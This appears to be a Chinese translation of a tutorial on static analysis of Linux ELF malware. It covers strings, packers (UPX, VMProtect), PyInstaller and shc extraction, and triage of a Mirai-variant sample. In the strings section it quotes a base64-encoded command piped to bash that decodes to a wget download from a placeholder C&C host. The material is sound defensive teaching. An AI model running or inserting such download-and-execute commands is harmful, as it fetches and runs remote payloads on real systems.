上一篇文章，我們介紹了ELF惡意軟體的威脅概況和背景信息，本文，我們會具體用一個樣本進行靜態分析。
ELF標頭ELF標頭包含有關二進位文件的常規數據，例如二進位文件的入口點和程序標頭表的位置。這些信息在初始文件分析過程中並不重要，但是文件的體系結構可以幫助我們了解文件設計在哪臺計算機上運行，這樣可以防止我們運行文件。
讓我們運行readelf -h training-sample來查看樣本的標題信息：
有幾種先進的惡意軟體技術可以利用ELF標頭的結構。
文件輸出僅在VM上運行文件總是很有用的，如果文件顯示輸出，則可能會立即幫助我們確定它是什麼。注意：在運行文件之前，請確保已保存虛擬機的截屏。
字符串字符串提取是收集二進位文件信息的一種經典而強大的方法，為了方便起見，讓我們在文件上運行strings命令，然後將字符串提取到txt文件中：strings training-sample > str.txt。
當我們查看字符串時，我們將在代碼中看到聲明的字符以及與文件格式相關的符號和其他字符串，例如節名和請求的解析器。
就像在PE分析中一樣，我們可以搜索指示性字符串，如網絡相關字符串、編碼字符串(如base64或hex)、路徑、命令和其他獨特的關鍵字，這些關鍵字可以幫助我們更多地了解文件。
在訓練文件中，包含base64命令字符串的echo命令字符串會立即顯示出來：
echo d2dldCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash;
如果我們解碼base64字符串，我們將收到以下命令：
wget http://somenonexitingcnc[.]com/malware.app
我們可以假設該文件從遠程C＆C刪除了有效載荷。
字符串重用Intezer Analyze是用於字符串提取的有用工具。通過透露在其他文件中之前是否曾見過某些字符串，它減少了分析工作。在未知惡意軟體的情況下，過濾常見字符串可以幫助我們將精力集中在文件的唯一字符串上。
例如：Lazarus的ManusCrypt ELF版本包含在其PE版本中找到的一些相同字符串，美國政府先前曾報導過：
你可以使用Intezer Analyze中的相關樣本輕鬆瀏覽PE版本以比較兩個文件：
代碼重用在Intezer Analyze中檢查代碼重用可能是初始分析的一個很好的起點，通過公開以前在其他文件中使用過某些代碼的位置，可以縮短分析時間。
例如：
該Rekoobe樣本在VirusTotal中檢測到0個。在上傳到Intezer Analyze後，我們會根據對先前示例的代碼重用收到明確的結論（惡意）和分類（Rekoobe）。
packer與PE惡意軟體不同的是，PE惡意軟體通常使用逃避性和非固定性packer（多態自定義packer）封裝已知的有效載荷，這在ELF惡意軟體中很少見。一種解析可能是，安全公司與惡意軟體開發人員之間正在進行的「網絡安全攻防」遊戲仍處於起步階段，因為公司開始為其系統採用針對Linux的檢測和保護平臺。
但是，著名的UPX被ELF惡意軟體開發人員廣泛使用。在本節中，我們將回顧ELFpacker，確定如何識別文件是否已封裝，並了解如果文件確實已封裝，我們下一步將採取什麼措施。我們將重點介紹UPX和VMprotect，因為它們是最常用的packer。
Vanilla UPX帶有Vanilla UPX的文件易於檢測和解壓縮，將樣本文件與UPX封裝在一起（你可以在此處下載編譯後的文件表格）：
1.首先，我們必須通過將其編譯為靜態連結的二進位文件來增大文件的大小（UPX具有最小文件，並且該文件當前太小）。
gcc -static training_sample.c -o training-sample-static
2.運行：upx -9 training-sample-static -o training-sample-static-packed
運行readelf -a training-sample-static-packed以檢索文件的數據，你會注意到只有標題表和段表。這些表對於文件運行是必需的。段表僅包含PT_LOAD和PT_GNU_STACK段，這是段表結構中的異常，可能表明文件已被封裝。
讓我們在文件上運行strings命令，注意，大多數字符串都是雜亂的，但是，有跡象表明該文件已封裝到UPX中。
這些字符串以及文件的表結構表明文件可能與UPX封裝在一起。
現在，讓我們使用「輕鬆檢測（DIE）」工具。DIE是一種基於籤名的工具，可以檢測文件的編譯器、連結器、packer等。使用此工具打開文件，你將看到它立即將文件標識為UPX封裝。
現在，讓我們看看DIE的熵功能：
如果文件包含Vanilla UPX，請運行以下命令將其解壓縮：
upx -d training-sample-static-packed，然後使用解壓縮的文件繼續進行分析。
自定義UPX由於UPX是開源的，因此很容易在封裝過程中進行修改並添加高級圖層。為了檢測自定義UPX封裝的文件，我們可以使用與Vanilla UPX相同的檢測方法。但是，可能並不總是有一個指示性字符串可以揭示文件可能與UPX封裝在一起。例如，Rocke使用LSD！而不是原始的UPX！標頭。儘管這是「自定義UPX」中最簡單的技巧，但它可以很容易地避開靜態解析器。
代碼重用還可以簡化packer的檢測，查看此修改後的UPX示例。它不包含任何字符串籤名，但是如果我們在Intezer Analyze中將其打開，則很明顯該文件包含修改後的UPX。
帶有修改後的UPX的文件很可能不會使用upx -d命令解壓縮。在這種情況下，我們應該進行動態分析。
虛擬機保護（VMprotect）VMprotect packer是一個流行的PE文件打包選擇，它也有一個ELF文件封裝解決方案。你可以使用演示版自己嘗試，執行以下命令以將VMprotect下載到你的VM上並運行它（在此處下載編譯的文件格式）：
VMprotect GUI應該打開，選擇「Open..」 ，然後選擇「 training-sample.app」。
看一下「選項」設置中的「VM段」，該「.vmp」欄位可以更改為用戶決定的任何值。我們將其更改為「cat」。接下來，點擊播放按鈕。
該程序已在你的工作目錄上創建了一個封裝樣本。運行readelf -l training-sample.vmp.app以查看封裝文件的分段。請注意，文件現在具有帶有RWE標誌的PT_LOAD段，並且文件的入口點位於該段內（入口點地址應位於該段的虛擬地址與其內存大小之間的某個位置）。你可以看到VMprotect部分cat1也位於此段內。
運行readelf -S training-sample.vmp.app以查看文件的各個部分。
VMprotect將創建兩個新的節，它們的名稱和後綴分別為1和0。段名和RWE段結合高熵可以揭示一個文件是用VMprotect封裝的。如果一個文件是用VMprotect封裝的，我們應該繼續進行動態分析。
注意：如果你查看這些符號，則將看到與有效載荷相關的功能和變量不再出現在表格中。考慮到有效載荷已被封裝，並且我們現在正在分析的文件是packer，而不是有效載荷，這很有意義。
我們懷疑文件包含以下內容：
· Packer代碼重用；
· 高熵；
· 段異常；
· 大量亂碼；
· Packer籤名，例如UPX字符串和VMprotect段名稱。
接下裡要做的是：
· 如果有解壓縮解決方案，我們將解壓縮文件並進行分析；
· 如果沒有可用的解壓解決方案，我們將繼續進行動態分析；
解析器解析器是將腳本編譯為可執行文件的程序，用解析器編譯的ELF文件在二進位文件中包含一個已編譯的腳本。解析器也可以被視為「腳本混淆器」，因為ELF文件只是「封裝」了明文源腳本。
讓我們回顧一下兩個常用的解析器：
Pyinstaller：編譯python。
shc：Shell腳本編譯器。
Pyinstaller使用Pyinstaller編譯的文件將具有pydata節名稱，這是腳本的pyc（已編譯的python原始碼）放在ELF二進位文件中的位置。檢測Pynistaller二進位文件的另一種方法是通過字符串。解析器具有唯一的字符串，例如「檢測到錯誤的啟動Python VM」，看看這個YARA規則。
代碼重用對於檢測Pyinstaller編譯文件也很有幫助：
我們可以使用pyinstxtractor從ELF二進位文件中提取python腳本。請遵循本指南，了解如何將其應用於ELF文件。請注意，你用於運行pyinstxtractor的python版本應與你正在分析的二進位文件中使用的版本相同。如果不匹配，pyinstxtractor將發出警告。
讓我們嘗試一下（在此處下載編譯文件格式）：
首先，讓我們編譯一個Pyinstaller文件：
1.在VM上安裝Python和Pyinstaller：
sudo apt update
sudo apt install -y python3
sudo apt install -y python3-pip
sudo pip3 install pyinstaller
2.使用test_pyinstaller.py創建一個簡單的python腳本代碼：
nano test_pyinstaller.py將以下腳本複製到test_pyinstaller.py：
for i in range(1,6):
print(f」this is output #{i}」)
最後保存（ctrl + x）。
3.使用Pyinstaller編譯文件：
Pyinstaller：onefile test_pyinstaller.pyPyinstaller在源文件夾中創建了2個目錄：dist和build。編譯後的文件位於/ dist目錄中。你可以運行該文件，還可以檢查pydata節及其字符串。
從已編譯的二進位文件中提取python腳本：
1.下載pyinextractor和uncompyle6：
sudo apt install -y git
git clone
sudo pip3 install uncompyle6
2.使用objcopy轉儲pydata節，本節包含pyc（Python字節碼）。讓我們在一個乾淨的目錄中工作。
mkdir training-pyinstaller
cd training-pyinstaller
objcopy –dump-section pydata=pydata.dump ../dist/test_pyinstaller
3.在pydata轉儲上運行pyinstxtractor：
python3 ../pyinstxtractor/pyinstxtractor.py pydata.dump你應該收到以下輸出：
pyinstxtractor創建了一個名為pydata.dump_extracted的目錄。請注意，該工具會建議可能的入口點（在我們的示例中，我們知道它的test_pyinstaller.pyc）。
使用uncompyle6反編譯相關的pyc文件。uncompyle6是一個Python反編譯器，可將Python字節碼轉換為等效的Python原始碼：
cd pydata.dump_extracted
uncompyle6 test_pyinstaller.pyc
現在，我們已經成功提取了Python代碼：
shcshc是一個shell腳本編譯器，使用shc編譯的文件具有特定的字符串。你可以使用YARA籤名與代碼重用一起檢測它們。UnSHc工具可用於從使用較早的shc版本編譯的文件中提取已編譯的bash腳本（當前尚不存在從該工具的更高版本中提取腳本的公共解決方案）。
當文件具有以下內容時，我們懷疑該文件是解析器：
1.解析器代碼重用；
2.高熵（在某些情況下）；
3.解析器籤名，例如唯一的字符串和節名稱；
下一步要做的就是：
1.如果有腳本提取解決方案，我們將在二進位文件上運行它。
2.如果沒有可用的腳本提取解決方案，我們將繼續進行動態分析。
ELFparser工具Elfparser是一個開源項目，不過過去幾年尚未更新。話雖如此，當你要搜索文件功能的可疑對象和指示符時，此工具可用於初步分析。除了將ELF文件解析到與初始分析相關的各種表之外，該工具還包含基於文件的靜態工件的嵌入式籤名，這些籤名被轉換為「功能」。然後將這些功能轉換為最終分數。分數越高，文件越可疑。對該分數應稍加懷疑，因為該指標容易出現誤報，而且可信文件也可能會高度可疑。
目前這些樣本已經上傳到了ELFparser工具：
它將系統和popen函數映射到它們的相關類別，並識別嵌入的IP位址。
真實的ELF惡意軟體樣本分析我們將分析一個真實的ELF惡意軟體樣本，並將為你提供3個其他樣本，以便你可以自己進行初始ELF分析。你可以在此處找到練習樣本。
讓我們下載此示例，然後使用ELFparser打開它，以便我們可以獲取文件的初始概述。
Elfparser將該文件識別為UPX壓縮文件，讓我們使用upx -d解壓縮文件。
現在我們已經解壓縮了文件，讓我們在ELFparser中再次打開它。你可以看到該文件具有符號，並且ELFparser收集了一些功能：
該文件可能會生成HTTP請求作為其功能的一部分，User-Agent和Host標頭是變量（基於％s）。
讓我們在文件上運行strings命令，該文件包含大量類似於用戶代理的字符串。我們可以假設它們可能與ELFparser標識的HTTP請求有關，並且二進位文件正在使用不同的用戶代理，以避免被嘗試聯繫的主機阻止。
此時，我們可能懷疑我們沒有處理受信任的文件，並且它也可能與某些DDoS惡意軟體有關，但是在得出結論之前，我們應該首先收集更多信息。
讓我們看一下文件的符號，因為它包含許多符號，所以分別使用readelf和grep每種符號類型。
readelf -s training-sample | grep FUNC
該文件包含一些異常和可疑的函數名稱：
FindRandIP，tcpFl00d，udpfl00d
我們幾乎可以斷定該文件是惡意軟體，讓我們在Google上快速搜索這些函數，以便我們對文件進行分類。根據Mirai和Gafgyt分析的搜索結果。現在很明顯，該文件是殭屍網絡，是Mirai的變體。
Golang文件我們看到一種新趨勢，我們看到惡意軟體是用Golang寫的。Kaiji, NOTROBIN, Kinsing就是一些例子。不過，Golang文件與經典的ELF文件具有不同的結構。
總結我們回顧了最初的ELF分析，重點是靜態分析。而且還詳細介紹了與初始分析相關的不同工件和組件，並了解了它們如何幫助我們立即收集有關文件的分析。我們還說明了可以使用哪些工具來收集這些分析。
初步分析是在處理文件時應採取的第一步，但這並不總是足以確定文件的結論並確定威脅是否為惡意文件。在初始分析階段，文件可能會被封裝，刪除或提供的信息不足以進行評估。
參考及來源：https://www.intezer.com/blog/linux/elf-malware-analysis-101-initial-analysis/